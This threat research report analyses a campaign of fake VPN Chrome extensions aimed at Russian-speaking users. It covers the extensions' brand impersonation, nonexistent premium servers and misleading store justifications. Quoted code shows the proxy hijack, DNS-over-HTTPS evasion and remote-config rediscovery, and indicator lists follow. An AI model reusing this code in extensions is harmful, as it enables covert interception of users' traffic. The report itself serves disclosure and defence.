The campaign amassed more than 75,000 installs by targeting Russian-speaking users seeking access to blocked services.
- Kush Pandya
Socket's Threat Research Team identified a campaign of 737 free VPN and proxy extensions published across at least 40 Chrome Web Store developer accounts, 274 of which impersonate 66 established VPN and privacy brands, that route the user's entire browser session through SOCKS5 proxies operated by a single provider. Socket analyzed the code of 525 of them, 522 from bulk retrieval and 3 more found during store enumeration; the remaining 212 had been removed from the store before collection and were recovered at listing level only. 520 of the 522 in the bulk corpus route browser traffic through the same SOCKS5 infrastructure.
The campaign has accumulated 75,486 installs across 737 extensions, of which 516 were listed as active when the corpus was collected, carrying 58,318 installs. Install counts are the Chrome Web Store’s bucketed display values, so these are sums of buckets rather than exact headcounts.
The campaign splits into three connected threat behaviors:
- Traffic interception: 520 of the 522 retrieved packages set
chrome.proxy.settings
to a fixed SOCKS5 server on port 1082 with a bypass list containing only loopback addresses, placing the threat actor in an adversary-in-the-middle position over all browser traffic. - Detection evasion: 104 extensions declare host permissions for Cloudflare and Google DNS-over-HTTPS endpoints, resolve their own proxy hostnames through them, and hand Chrome a raw IP address, so the victim’s machine never emits a plaintext DNS query for the threat actor’s domains.
- Subscription fraud: The paid tier advertises servers in Japan, Singapore, Canada, Australia, and Turkey. Not one of those 200 hostnames resolved.
Socket observed the client side only. The extensions place the threat actor in a position to read all browser traffic, and this report makes no claim about what the proxy servers retain or transmit. What is established from the packages and from public infrastructure is the impersonation, the undisclosed proxy configuration, the non-existent premium servers, the false statements submitted to store reviewers, and the post-approval code substitution.
The populations behind the numbers in this post:
- 737 extensions in the campaign, published from at least 40 developer accounts.
- 734 of those appear in the source dataset. The other 3 were found later during store enumeration, published from 2 accounts outside the original 38.
- 525 were retrieved with code and analyzed: 522 in bulk, plus those 3.
- 522 is the denominator for every code-level figure in this post.
- 520 of the 522 configure a proxy at all. The other 2 ship no proxy code.
- 516 were live when the corpus was collected and 221 had been removed.
- 212 were never retrieved and are known only at listing level.
- 75,486 installs across all 737, of which 58,318 sit on the 516 live extensions.
The same threat actor runs a subscription VPN business in Russia. Its published contract names an active, tax-registered self-employed provider, and its billing dashboard sells the browser extension as a paid tier. The extension estate is that business’ customer acquisition funnel.
The extensions target Russian-speaking users seeking to reach services blocked inside Russia, including Instagram, ChatGPT, and YouTube. 690 of the 734 extensions in the source dataset are Russian-targeted by at least one of three tests: a Cyrillic listing name, a Cyrillic manifest description, or a blocked-service name in the listing. 520 of the 522 retrieved manifests carry Russian descriptions.
Listings promise IP masking and traffic protection. One manifest in hfanmgjobgojpieocfemecgcgglmgpff
reads:
{
"description": "Скрывает IP и защищает данные, подходит для любых устройств и сайтов. Рекомендовано Юрием Дудём."
}
That translates to “Hides IP and protects data, suitable for any devices and sites. Recommended by Yuriy Dud.” Yuriy Dud is a Russian journalist with no connection to this campaign, and the claim appears in an extension from an estate that impersonates 66 other real brands. Socket found no public record of any endorsement.
66 real software brands are impersonated across 274 extensions and 38,140 installs, including Proton VPN, NordVPN, Surfshark, AdGuard VPN, Browsec, ExpressVPN, CyberGhost, Windscribe, TunnelBear, Cloudflare’s 1.1.1.1, and Google’s own Outline. Two impersonation targets are notable because they are the tools Russian users specifically trust to circumvent blocking: AmneziaVPN (22 extensions) and AntiZapret.
The Proxy Hijack
Every retrieved extension that configures a proxy at all, 520 of 522, performs the same operation. From aabaifmlfkdolhdbbhjblkeekaijfdfh/worker.js
:
const config = {
mode: "fixed_servers",
rules: {
singleProxy: {
scheme: "socks5",
host: node.host,
port: node.port
},
bypassList: BYPASS_LIST // = ["localhost", "127.0.0.1", "::1", "<-loopback>"]
}
};
chrome.proxy.settings.set({ value: config, scope: "regular" }, callback);
BYPASS_LIST
contains only loopback addresses. Every other destination, for every tab, is forced through the threat actor's SOCKS5 node once the user clicks Connect. There is no per-site scoping and no split tunneling.
- 302 packages hardcode proxy IPs drawn from a single shared pool of 15 addresses, and 301 of those carry all 15.
- 104 resolve a hostname over DNS-over-HTTPS and hand Chrome the resolved IP.
SOCKS5 as configured here is a bare relay. It adds no encryption, sets no proxy credentials, and does nothing about WebRTC or operating-system DNS. 497 of the 522 request proxy
and nothing else; the remainder add only storage
, with one exception each for activeTab
and notifications
.
Everything the extensions do not see, the proxy does. With all browser traffic forced through it, the threat actor’s server is positioned to read every destination, every TLS SNI value, the victim’s source IP, and any request body sent over plain HTTP. For a user in Russia, source IP plus timestamp is identity-adjacent, because an ISP can resolve it.
The connected state renders the word “Защищено” (“Protected”) in 67 of 91 extensions in one code generation.
Would a Legitimate Service Look Any Different?
At the mechanism level, no. A browser-scoped VPN has one API available to it, chrome.proxy
, and a fixed-server SOCKS5 configuration with a loopback-only bypass list is the ordinary way to implement one. Any extension that proxies browser traffic necessarily places its operator in a position to observe that traffic. A provider building a genuine censorship-circumvention tool for Russian users would produce something that looks very much like the code above. The proxy hijack is the capability, not the finding.
What separates this campaign from that hypothetical is everything around the proxy. A legitimate provider competes under its own name; 274 of these extensions impersonate 66 established brands, including AmneziaVPN and AntiZapret, the two tools this audience specifically trusts to get around blocking. A legitimate provider does not advertise server locations that do not exist; all 200 jp
, sg
, ca
, au
and tr
subdomains across the 40 apex domains tested return no A record, and those are exactly the entries marked premium: true
. A legitimate provider does not ship a paywall that cannot be satisfied, or an extension hardcoded to fail every connection behind a working connecting animation. A legitimate provider does not submit nine byte-identical justifications to store reviewers stating "No data transmitted to external servers" while shipping a proxy. A legitimate provider does not add an entire remote-configuration layer after approval, in a build whose reviewed predecessor contained none of it. And a legitimate provider does not write an internal manual telling staff never to put a domain into chrome.proxy.settings
, only the resolved IP, so that the destination cannot be read out of the shipped package.
Each of those is a choice with no operational benefit to a service that intends to deliver what it sells. Each is documented in the sections that follow.
104 extensions declare host permissions for cloudflare-dns.com
and dns.google
, then resolve their own proxy hostname before configuring the proxy. From abjgfdfbmmijjdfbohbhgdnjeipjbplj/worker.js
:
async function resolveProxyHost(node) {
if (node.useDnsResolve === false) return node.host;
const resolvedIps = await resolveDomain(node.host);
const hostToUse = pickRandomIp(resolvedIps);
if (!hostToUse) throw new Error("Не удалось получить IP адрес сервера");
return hostToUse;
}
The resolved IP literal, not the hostname, is what reaches chrome.proxy.settings
. No plaintext DNS query for the threat actor's domain is emitted while useDnsResolve
is true, which is its value in every shipped node list Socket examined.
resolveDomain
queries cloudflare-dns.com/dns-query
and falls back to dns.google/resolve
, caching results for five minutes and selecting a random A record. This technique is documented, not incidental. One extension, kcplchjjdpgehfdlggggoohdeoaikcan
, shipped an internal build manual titled “Промт для сотрудников” (“Prompt for employees”).
It contains a project domain field filled in with skyproxy[.]space
, a country-to-subdomain mapping, paste-ready implementation code, a pre-delivery checklist, and a section listing what staff must not do:
Не ставить домен напрямую в chrome.proxy.settings — только IP после резолва
Не использовать домен из другого расширения без отдельного указания
Remote Configuration and Domain Rediscovery
66 extensions chase HTTP redirects at runtime to locate whichever threat actor domain is currently live, then pull configuration from it. The excerpt below combines resolveAssetsOrigin()
and the fetchLandingLinks()
call that follows it. redirect: "manual"
lets the code read the 3xx Location
header itself and follow it to an origin that is not hardcoded in the package, which means the threat actor can relocate destinations for already-installed copies without shipping an update. From abjgfdfbmmijjdfbohbhgdnjeipjbplj/core.js
:
fetch(LANDING_URL, { method: "HEAD", redirect: "manual", cache: "no-store" })
.then(function (r) {
var target = LANDING_URL;
if (r.status >= 300 && r.status < 400) {
var loc = r.headers.get("Location");
if (loc) target = loc;
}
landingLinks.assetsOrigin = new URL(target, LANDING_URL).origin;
return fetch(landingLinks.assetsOrigin + "/config/links.json", { cache: "no-store" });
});
Following those live redirects exposed a domain tier that appears in none of the 522 retrieved packages: myxavpn[.]site
, myxavpn[.]online
, myxavpn[.]tech
, and myxasafe[.]space
.
The Paid Tier Sells Servers That Do Not Exist
Every extension advertises premium locations. DNS resolution shows that the free-tier subdomains resolve and the premium ones do not. For stealthpath[.]space
:
us[.]stealthpath[.]space
:178[.]130[.]47[.]43, 178[.]130[.]47[.]44, 178[.]130[.]47[.]50, 147[.]45[.]60[.]241
de[.]stealthpath[.]space
:80[.]92[.]204[.]47, 185[.]252[.]215[.]97, 185[.]252[.]215[.]98, 80[.]92[.]204[.]33
gb[.]stealthpath[.]space
:5[.]180[.]30[.]15, 5[.]180[.]30[.]122
fr[.]stealthpath[.]space
:86[.]104[.]74[.]110, 94[.]131[.]118[.]39, 94[.]131[.]118[.]237
nl[.]stealthpath[.]space
:80[.]92[.]206[.]84, 194[.]150[.]220[.]163, 45[.]89[.]110[.]227
jp[.]stealthpath[.]space
(no answer)sg[.]stealthpath[.]space
(no answer)au[.]stealthpath[.]space
(no answer)tr[.]stealthpath[.]space
(no answer)
All 200 jp
, sg
, ca
, au
, and tr
subdomains across the 40 apex domains tested returned no A record. In the shipped server lists, those are precisely the entries marked premium: true
.
The paywall has no working unlock path either. In hfanmgjobgojpieocfemecgcgglmgpff/sw.js
, one of the 88 packages built on the sw.js
layout, the entire license check is:
function hasPremiumKey(key) {
return typeof key === 'string' && key.trim().length > 0;
}
Any non-empty string unlocks every premium server, and no code anywhere in that group of packages ever writes premiumKey
to storage, so the paywall cannot be satisfied through the extension's own interface.
const SECRET_KEY = "myxavpn2024secret";
function generateSignature(data) {
const combined = data + SECRET_KEY;
let hash = 0;
for (let i = 0; i < combined.length; i++) {
hash = ((hash << 5) - hash) + combined.charCodeAt(i);
hash = hash & hash;
}
return Math.abs(hash).toString(16).substring(0, 32);
}
That is a 32-bit rolling hash of the hash*31
form used by Java's String.hashCode
, not an HMAC. Secret and algorithm both ship in plaintext, so any user can forge a permanently valid token offline.
That secret appears in 10 extensions across 10 separate publisher accounts. Seven of them split it across variables to defeat string search:
const part1 = "myxa"; const part2 = "vpn"; const part3 = "2024"; const part4 = "secret";
/* Extra dummy locations (closed) */
{id:'it-1',name:'Италия 1',location:'Рим',host:'0.0.0.0',port:1082,countryCode:'IT',premium:true},
{id:'es-1',name:'Испания 1',location:'Мадрид',host:'0.0.0.0',port:1082,countryCode:'ES',premium:true},
Not one server in the package is marked premium: false
, so no free tier exists. And the connect handler is hardcoded to fail:
if (msg.action === 'ROUTE_APPLY') {
sendResponse({ ok: false, error: 'SERVERS_CLOSED' });
return false;
}
Every connection attempt returns failure regardless of which server the user selects. The package ships a complete fake interface, including a connecting animation and status indicator, over a proxy engine that cannot function.
Its homepage_url
is a Telegram bot deep link carrying a referral code, the only thing in the package that reaches outside its own interface.
Evidence of Deliberate Policy Evasion
aaeiefggdeljohngedhpmgidkjcdoebb/background.js
contains a comment recording the threat actor’s expectation that the behavior violates store policy, alongside the code that ships it anyway. The comments below are verbatim from the file, threat actor's own included. The Chrome Web Store line translates as: "If Chrome Web Store rejects this because of automatically opening links, we can replace it with a notification offering to go to the Telegram bot.”
// Открываем Telegram-бота при первой установке
// ВАЖНО: Это происходит только один раз при установке (onboarding процесс)
// Popup расширения открывается только по клику на иконку (не программно)
// Если Chrome Web Store отклонит из-за автоматического открытия ссылок,
// можно заменить на уведомление с предложением перейти в Telegram-бота
setTimeout(() => {
// Открываем Telegram-бота в новой вкладке
// Примечание: Для chrome.tabs.create с внешними URL может потребоваться разрешение "tabs"
// Если возникнут проблемы, можно добавить "tabs" в permissions в manifest.json
chrome.tabs.create({
url: 'hxxps://t.me/myxavpn_bot',
active: true
}).catch((error) => {
Four lines later the same file notes that chrome.tabs.create
with external URLs may require the tabs
permission and that it could be added. It was not added. That extension’s shipped permission set is ["proxy", "storage", "notifications"]
.
Post-Approval Code Substitution
The manifest difference between reviewed and shipped is only a version bump and the store’s automatically added update_url
. The permission set stayed ["proxy"]
, so a permission diff between the reviewed and shipped builds is empty. Campaign-wide, 49 extensions across 18 publisher accounts received post-approval code updates, covering 8,076 installs, and 31 of those are still live.
Coordinated Review Gaming
10 extensions shipped store-assets/PRIVACY_JUSTIFICATIONS.md
, the justification text submitted to Chrome Web Store reviewers. Nine are byte-identical, SHA-256 1dea4975f7aaba71bf7821fcf62deca470ef5e21f45c947b103ddeb836ef9b81
, across nine separate publisher accounts. The document asserts “No personal data collected,” “No data transmitted to external servers,” “No user tracking or logging,” and “This extension does NOT use remote code.”
Infrastructure and Attribution
The 737 extensions are one operation. Six independent classes of evidence establish it.
The extensions declare it themselves. 360 of 522 retrieved packages, spanning 34 of 37 publisher accounts, render a string in the popup naming their own supplier. 330 read Premium доступ предоставляет официальный VPN провайдер Myxa VPN
, “Premium access is provided by the official VPN provider Myxa VPN.” A further 30 read Ключ предоставляет официальный VPN провайдер Муха VPN
, "the key is provided by the official VPN provider Муха VPN," using the Cyrillic spelling of the same brand.
The popup of an extension branded “Лев VPN” names Муха VPN as the provider supplying premium access, states that one of its twenty locations is free, and shows the remaining nineteen as locked.
One build machine. 43 packages shipped a build-info.json
that leaks the threat actor’s Windows build path: C:\Users\ollob\OneDrive\Документы\1.myxa-work\08.06.26\\\-release.zip
. One Windows account, one project directory, extensions published under many different accounts.
One analytics account. Eight Yandex Metrika counters partition 49 threat actor domains with zero overlap. Counter 108155174
is installed on myxavpn[.]pro
, the commercial storefront, and on the extension-farm landing domains vpnmyxa[.]site
, vpnmyha[.]shop
, and vpnkomar[.]space
. A Metrika counter ID belongs to one Metrika account and reports only to it, so the same counter across these sites indicates shared control, linking the subscription business to the extension estate. Webvisor session recording is enabled on the landing pages.
Bulk domain registration. 21 domains were registered inside a 10-second window on 2026-05-20 between 07:30:35 and 07:30:45 UTC. A further 14 were registered within 24 seconds on 2026-04-05.
One registrar and one dedicated host. The estate of at least 102 apex domains sits on the nameserver pair ns1[.]reg[.]ru
and ns2[.]reg[.]ru
. 43 of the first 51 resolve to a single IP, 212[.]192[.]14[.]75
, running nginx 1.24.0 on Ubuntu. Reverse-IP lookups on that host returned only campaign domains, which is what allowed a further 51 apex domains to be recovered from it.
One build pipeline across two code generations. The byte-identical comment /* finalize_ext: auto-open premium URL on first install */
appears in 26 extensions across 20 publisher accounts, in both sw.js
and worker.js
files, marking a generator pass that appends a second onInstalled
listener.
The brand is «Муха VPN», Russian for "fly." Rendered in Latin lookalike characters the Cyrillic «Муха» becomes myxa
, which is why both spellings appear across the estate and why the domains read as they do. It also explains the naming scheme: myxavpn
(fly), vpnkomar
(mosquito), zhuknet
(beetle), tarakanvpn
(cockroach), pauktun
(spider), sverchvpn
(cricket), osavpn
(wasp), shershvpn
(hornet), korovkavpn
(ladybird), usachvpn
(longhorn beetle), and gusenvpn
(caterpillar). One domain, maskirovka[.]space
, takes its name from the Russian word for camouflage, also a term of art in Russian military doctrine.
The Contracting Party Named in the Public Offer
Russian law requires a public offer to name the contracting party, and myxavpn[.]pro/oferta/
does:
Настоящая публичная оферта ... является официальным предложением самозанятого
(ИНН [redacted]) ... о заключении договора на оказание услуг VPN-доступа
That declares the provider to be a self-employed individual, identified by a 12-digit taxpayer number. A 12-digit INN is issued to a natural person, not an organization. Socket checked it against the Russian Federal Tax Service's public self-employment (НПД) taxpayer-status service, an endpoint that exists so businesses can verify a contractor's standing before contracting and that returns status only, with no name attached. It confirmed an active professional income tax registration. The endpoint rate-limited after that query, so we obtained no negative control against an unregistered number, though the response was specific rather than a bare true
: it echoed the queried number and named the exact tax regime. No company name, registration number, address, or director is published anywhere.
Two things are established. The threat actor published this number as its own contracting party, and the number corresponds to a live tax registration. A third is not. Socket did not resolve the number to an individual, did not attempt to, and does not assert that the registrant is the person operating this campaign. Self-employed status in Russia can be held on another party's behalf, and nothing in the extension code or the public infrastructure settles that question either way. Identifying the person behind a published taxpayer number is a step for a party acting under legal authority.
The Business Predates the Extensions
Certificate Transparency dates xray[.]myxavpn[.]com
to 2024-11-06, the earliest issuance anywhere in the estate and roughly 14 months before the first extension in the dataset, with monitoring[.]myxavpn[.]com
running Grafana from 2024-11-27 and git[.]myxavpn[.]com
hosting self-managed source control from 2025-01-05. myxasecure[.]space
additionally carries jitsi
and rocket
hosts, meaning self-hosted video conferencing and Rocket.Chat.
A Second Proxy Tier for Paying Customers
app[.]myxavpn[.]pro
is a Telegram Mini App billing dashboard selling EXTENSION
, PRO
, and MAX
plans. The EXTENSION
tier is priced from 99 roubles per month and described as “VPN in browser only.” Its bundle hardcodes exactly one Chrome extension ID, aaeiefggdeljohngedhpmgidkjcdoebb
, in a sub_type === "BROWSER_EXT"
card and a setup wizard. That extension has 2,000 installs and is live.
The dashboard’s CSP header exposed sub[.]myxasecure[.]space
, a domain absent from all 522 retrieved packages. Node configuration for it was recovered on 2026-07-30 from five public V2Ray aggregator repositories that had republished the threat actor’s subscription output, showing VLESS-REALITY on port 443 rather than SOCKS5 on 1082. Socket did not purchase a subscription or connect to a node, so the paid tier’s operation is unverified. The protocol difference is the point: VLESS-REALITY is built to survive the deep packet inspection that blocks VPNs in Russia, while the extension estate ships the plaintext relay.
The Privacy Policy Contradicts the Product
An earlier version of the threat actor’s privacy policy, published on myxavpn[.]com
and archived on 2025-12-14 as version 2.0 dated 20 January 2025, cited Russian Federal Law 152-FZ, committed to processing personal data on Russian territory, named Roskomnadzor as supervisory authority, and stated that data is disclosed По запросам уполномоченных государственных органов в установленном порядке
, meaning “on the request of authorised state bodies in the established manner.” The current policy on myxavpn[.]pro
, effective 1 January 2026, contains none of those four provisions. It is titled Политика конфиденциальности — MYXA VPN | No-logs VPN
while stating that it processes Технические данные — IP-адрес
, an IP address.
A service sold to Russian users specifically for censorship circumvention advertises no logging on a page that records IP addresses, and until recently published a commitment to disclose data to the authority responsible for that censorship.
This is a compliance posture, not a state connection. Any Russian-registered data processor carries comparable obligations, and Socket found no indicator of state sponsorship or tasking anywhere in this campaign.
Impact
For each affected user, while the extension is connected, every request passes through a server the threat actor controls, in a position to read the full set of destinations the browser reaches, the TLS SNI value of every HTTPS connection, the user’s source IP address, and the complete contents of any request sent over plain HTTP, including credentials submitted to non-HTTPS sites.
Whether the threat actor owns those proxy servers or resells capacity from an upstream provider is not resolvable from the extension code. If it resells, a further party is in the same position.
The victim population makes this material. 94% of the campaign targets Russian speakers, and the inducement is access to blocked services. These users selected a privacy tool specifically to protect traffic they consider sensitive, and the product routes exactly that traffic through infrastructure controlled by a party they cannot identify. Extensions impersonating AmneziaVPN and AntiZapret reach users who deliberately sought a tool they had reason to trust.
Users who purchased a premium subscription paid for server locations that did not resolve at any point during this investigation.
The Enforcement Gap
Google has acted on this campaign. 221 of the 737 extensions have been removed from the Chrome Web Store, including 14 of the 15 that Palo Alto Networks named publicly on 2026-06-05 and that were still live at the time, every one of those within seven weeks of that publication. Removal is a deliberate act by the store, so the campaign is known to it. What the removals did not reach is the other 516.
Normalizing every live service worker into a code skeleton, with comments, string literals, numeric literals, and whitespace removed so that branding and server lists cannot affect the hash, produces 93 distinct skeletons across 409 live workers.
One skeleton has 51 members spread across 8 publisher accounts. Google removed exactly one of them, ofbdlgcpfnhcidmfmddnkkbkejjoffdf
, which carried 37 installs. The remaining 50 are live and carry 3,217 installs, and every one is structurally identical to the extension that was taken down.
Among those 50 is ilbpmeeaifiojjiohfffjmgpgcfcaajg
, published as "1.1.1.1 VPN" and copying Cloudflare's branding outright. It is live, with 1,000 installs and a 5.0 rating from 8 reviews, and the store surfaces no warning to a prospective installer.
The account economics explain the persistence. A Chrome Web Store developer account costs $5. The 38 accounts in the source dataset cost the threat actor $190 and published 737 extensions, which is $0.258 per extension and $0.00326 per surviving install. An account publishes a mean of 9.1 extensions before its first removal, then continues and publishes a mean of 15.8 more over a further 69 days. 28 of 29 core accounts kept publishing after their first removal, and 29 of the 30 accounts that have had an extension removed still hold live extensions. Extensions are removed. Publishers are not.
Palo Alto Networks published on part of this campaign on 2026-06-05, naming 18 extension IDs. All 18 appear in Socket’s set. Three had already been removed before publication, and 14 of the remaining 15 were removed in the seven weeks after it. The 15 publisher accounts behind them retained 250 live extensions carrying 26,151 installs, and sverchtun[.]store
, named in that brief as an indicator, still resolves and now fronts ten proxy IPs, eight of which are on ranges absent from the fifteen Palo Alto listed.
Recommendations
For Users
Remove any VPN extension from this campaign immediately and confirm that Chrome’s proxy configuration has returned to normal at chrome[://]settings
, searching for “proxy.” Change credentials entered on any non-HTTPS site while the extension was connected, and treat browsing history from that period as observed by a third party. A browser extension requesting the proxy
permission can redirect all traffic; it is worth confirming that the publisher is the brand it claims to be before installing, because 66 real brands are impersonated in this campaign alone.
For Developers
Extensions that request proxy
warrant the same scrutiny as extensions that request
. The permission is narrow in appearance and total in effect. In this campaign the permission footprint stayed ["proxy"]
across a post-approval change that added an entire remote-configuration layer, so permission diffs alone do not detect capability changes.
For Security Teams
Block the network indicators below at DNS and at egress. DNS blocking alone is insufficient against the 104 extensions that resolve their proxy hosts through DNS-over-HTTPS and pin a raw IP, so the proxy IP ranges require separate handling. Blocking SOCKS5 on port 1082 does not affect the VLESS-REALITY tier on port 443. Inventory installed browser extensions for the proxy
permission and alert on chrome.proxy.settings
modification. Cluster candidate extensions by normalized code skeleton rather than by extension ID, since this campaign regenerates variable names, function names, and comments per build, producing a unique file hash for every logically identical file.
Socket’s Chrome extension protection analyzes extension bundles for hidden data flows, undisclosed credential exfiltration, and C2 backdoors, blocking malicious extensions before they reach user endpoints.
MITRE ATT&CK
- T1176.001 Browser Extensions
- T1557 Adversary-in-the-Middle
- T1090.002 External Proxy
- T1572 Protocol Tunneling
- T1071.004 Application Layer Protocol: DNS
- T1102 Web Service
- T1656 Impersonation
- T1036.005 Match Legitimate Name or Location
- T1204.001 User Execution: Malicious Link
- T1583.001 Acquire Infrastructure: Domains
- T1583.003 Acquire Infrastructure: Virtual Private Server
- T1585.002 Establish Accounts: Email Accounts
- T1608 Stage Capabilities
- T1027 Obfuscated Files or Information
Indicators of Compromise
Network Indicators
myxavpn[.]pro
,app[.]myxavpn[.]pro
(billing dashboard, Yandex.Cloud,158[.]160[.]228[.]178
)getmyxa[.]com
,app[.]getmyxa[.]com
myxavpn[.]com
,app[.]myxavpn[.]com
- Post-redirect tier:
myxavpn[.]site
,myxavpn[.]online
,myxavpn[.]tech
,myxasafe[.]space
atlasvpn[.]space
bezopasnet[.]space
cipherway[.]space
cloudmask[.]space
echosecure[.]space
gusentun[.]space
gusenvpn[.]online
horizonguard[.]space
internetprvpn[.]ru
ironproxy[.]space
korovkavpn[.]space
maskirovka[.]space
murvpn[.]space
myxasecure[.]space
myxavpn[.]space
neoncloak[.]space
netroutehub[.]space
nimbusshield[.]space
osavpn[.]su
pauktun[.]space
primeproxy[.]space
routekeeper[.]space
routeshield[.]space
salega[.]ru
securepulse[.]space
shershvpn[.]space
shieldtunnel[.]space
silashield[.]space
skorostvpn[.]space
skyproxy[.]space
spidervpn[.]online
stableproxy[.]space
stealthpath[.]space
sverchtun[.]store
sverchvpn[.]space
tarakanvpn[.]online
tunnelbase[.]space
turbotunnel[.]space
usachvpn[.]su
vaultvpn[.]space
vpn-myxa[.]ru
vpnfasters[.]space
vpnkomar[.]space
vpnmyha[.]shop
vpnmyxa[.]site
zenshield[.]space
zhuknet[.]online
zhukvpn[.]online
ns1[.]reg[.]ru
ns2[.]reg[.]ru
212[.]192[.]14[.]75
103[.]35[.]189[.]225
103[.]35[.]191[.]173
147[.]45[.]60[.]241
147[.]45[.]60[.]252
178[.]130[.]47[.]43
178[.]130[.]47[.]44
178[.]130[.]47[.]50
178[.]130[.]47[.]129
185[.]252[.]215[.]97
185[.]252[.]215[.]98
194[.]150[.]220[.]163
45[.]89[.]110[.]227
5[.]180[.]30[.]15
5[.]180[.]30[.]122
80[.]92[.]204[.]33
80[.]92[.]204[.]47
80[.]92[.]206[.]84
86[.]104[.]74[.]110
94[.]131[.]118[.]39
94[.]131[.]118[.]237
138[.]124[.]244[.]206
130[.]17[.]1[.]19
78[.]153[.]155[.]112
81[.]90[.]31[.]73
95[.]163[.]244[.]138
Hardcoded Signatures/Credentials
- REALITY public key
OCLtjVdRxsou3429LRfjkDYgiAPs24TSgSeFZpChCEw
- short ID
d67ec5a8fc40ebea
- Recovered from third-party aggregator republications on 2026-07-30 and not verified against a live node.
Extension IDs Live in the Chrome Web Store at Time of Writing (516)
aabaifmlfkdolhdbbhjblkeekaijfdfh
aaeiefggdeljohngedhpmgidkjcdoebb
aalfhjflaokihbediiadmohipjlpbjpg
abjgfdfbmmijjdfbohbhgdnjeipjbplj
acdihpjgbhodcikbhikhhgkafmbbmemp
adbicacljgblmefpmcffdjmcbagbejji
adjnaekfhknjhcagnejdcfelbjdcfjgj
adpkfblbeihmbjljeffbaklklgofcgae
aeglpahooigfloknbcocdkgoklmopcad
aemjnabgfabjlcojhbablmedhbnmpcgj
aepcimhlmbgpilgmhgfkfjlgbdkdojdd
afpiijfkjbkkfoeepflocpfcmghcohfi
ahdpgkmldfnmpcpoamhabhoohdjgijak
ahfjipgfgnjpkoacdlbaaimodjpiafod
aikeingnnaofblajmpkdamcmbinjicek
ajjgfffcnelajekhpgnfhhehpjokkkjh
akiknpephpgdllpnmocndocdmgmbnocl
albcebpejhogeakalalkmkhhhcofehme
alcopdbbehlpelbaaglhlgljkkljkppi
aliegnhhiklfkdipafafcjafgngecmgn
ameimpcdjkiacjmfefadfkjbmicohmff
anconclhkknnbkgiflfeppbcdoikcpca
anggbncfkojnpldcpblaboandcjajkgl
annffnminbfjdifcgbadjdgcaglpiemj
aocipbpjojijjlmopppdnkhmnfaeobol
aoejfgbdcbpeekpmelgoofbboonmdcaf
aojolglblgegdlejhldpeadnglkcheba
aophoakdkaldkckgkgionphohmkhnkom
apgingficohkcjlkejipioacokkehnph
apkfclckpilgfoembfmnmlblnffcnfcl
apnlidgccohighgjjikmalpccgombonl
baabjhdplplmihlnecgjajjdllllfhhf
balkhnoegkmheodonbkhkaegibmamapp
bbcgolpihcpibnjpnafbaccaclagclmf
bbddibpbffgafehfljibecnppcamoogn
bbjoeckmegkklkmlgihgebeiocmjhfpf
bchelkjkilnlomoehihopndkjjhlcgla
bcmmkekghfmaglecpmbmfidmmpljmbia
bdbhokpcdfeoljjcfdegkdapplhknpoj
bdmnomiahkddoogbipkleodejnplcppj
bebcfnddlcnahgmdobbicnjbahlbgpnh
becdalghcachfljkdifjaifmiecbpbcb
bejjplkelkkcpnaaicfpdenfpcpbpnod
bfdlendomdpckfcegjjhgheignejhing
bfgoepnoenodpgmcficdjlajnlbmadlc
bfhmomelpcmpdjdeohpeemfgikbdoijl
bfjcdcgfehgbbaenfojebonnlfichjnk
bgikeajhdmggllhdnleoeaiedpbdhbgc
bieapdakjafmcilgjobfeopeoejhdmmg
bifgpflmljboegdapmikafhpilijdead
bimjbbjnldbimpihljgakoidmgcnmleb
bjfngoeclhbkpgdngfdolcpiofgdlbjm
bjpgehkaonlndnoohmlelkjlchccdigb
bkmmedhfnenchphbngpihpcodlimdceb
blagooekjnebejejmikhahgfejlbeoie
blcnhjlbnldiopfekjpcmpcieipiokdl
bmeonhjbmiacccakpjdmjaloiflkjgig
bmidlejanhnaaopgiljgojghplnaeoaf
bmldimmhaamlfaijnmhikfidngaennjo
bnfedobijcachmijlfecldmhnebihmcj
bngahmjkkbiebggdghdlbjaedhmcblpm
bnnjeanokjfhhkohkaoghfclocnhpcia
boembakcfchlnhkfpjeolgpfpegmejmm
bokpbehobhpfpmamodkngkaljfmimmpa
boomffhhbgombjkbeakkdjiphjkillpb
bpcpgflbnnedjfcnkfbinikeicffghgl
bpfjljidmejoeamagnfbknmhehbmagbd
cabdahinacflcaaagobghohleefogogk
cahbelonbpjbgolckchmbpdlgeglgpof
capnggjhnpofmimlcjlhggdenibcgoal
cbmjaknklmcgajkfocjagjmdkeinfchm
cbpfihfjeleikcpadajchoebgfblalid
ccnceaompinfjgnfkbcnfgaenklmafil
cdlbcpjfhjedjajilmpknbmodmfocljm
celjebeafmieepphodddabmegonmanoo
cepookalkohkjhbamenfbagblnmfcfmn
cgajlbgdapgeohppnnhjemoodaakmplh
cghconplclhlafnkaocbddboklfodnfc
choldfdafblhjjfdbnibekaakmhnfabc
chphemgbhggblnggogackapgdnifnjco
cieikfpbkhkjfjaoijonmhnmodnnhgdo
cihkgekjnagficdlaicladlfdodlodji
cijkehnfggjlcjlijaichfjbokalnleo
cjadklbhkckhkgnlbllaelbfjjcgenfj
ckicpgoimmcplbdeblgkcimhchdkkmlg
cklafdlhkgikkkfoojcgjodehbdbakpa
clcpecjofmjiapknnccnflcagbjdeccf
cldooaldimmjpalhfppedmgbnocajian
cljopkopbidboafoppejamlcpmgmffib
clonlklkobdppgnhaklminjfgchpgiob
cmdlencelhcjbebnkpbmhcfmlnjgihhm
cmoljkcobacohfilkhbpclpgebcnpdcl
cmplhaampagiakkffmgjndcjdgbglbln
cnjgicfipaihakphpbcgdklcbpnkbndm
cojkbijephcnagbbbkecebeoplnlgana
cpehmglkieogiogkgbicjmoapfjooaam
cpjmmnhmieannhjnjjfcpmkpjgnakjaj
daefdbcalhpfoajkdeeobdamapepkdde
dbcocmghepfnpobmefmdhmahefdmmkmi
dbjeemabemccjbbemlnljmpmaadhohho
dcbpngicdpgdlehimeoidnebieifgncf
dcdengcnfioodmmjlkjhomeondebpjcj
dceikamljmmhdjagikodokbkdmbancpb
ddhhghnfnfjppofkhcndimaeohofbanc
ddhjjndlmjakdcdcmgajploledaclbfk
ddlnpmihnbdfhmiefebbogipmemmachh
dejbkoamefcdbolpcpppeblbmbkdljmo
dfbnmnokochbcifabpndhfelgobckenh
dhehohioamlbamodmibbdbondgbbpkpb
dijdbcdjngogkbpgldngbflblkbkicla
dinnpahadcfmggceljnhjdopgepbalno
djddlpkdagnbgokmielahcpgigepgdam
djibkmimcjaphppiekhbkpccfhlhhfbj
djocpdcnegafiajdaglloibfjifhbhbp
dkdnckncggmlaokepcnaobhflpbadame
dlaeopfffpngikkaccaknkmdgjdianin
dlaonnkmgmchbmlbngepgioejjmglape
dmadpoocbhhfaeefeblecpaielloalme
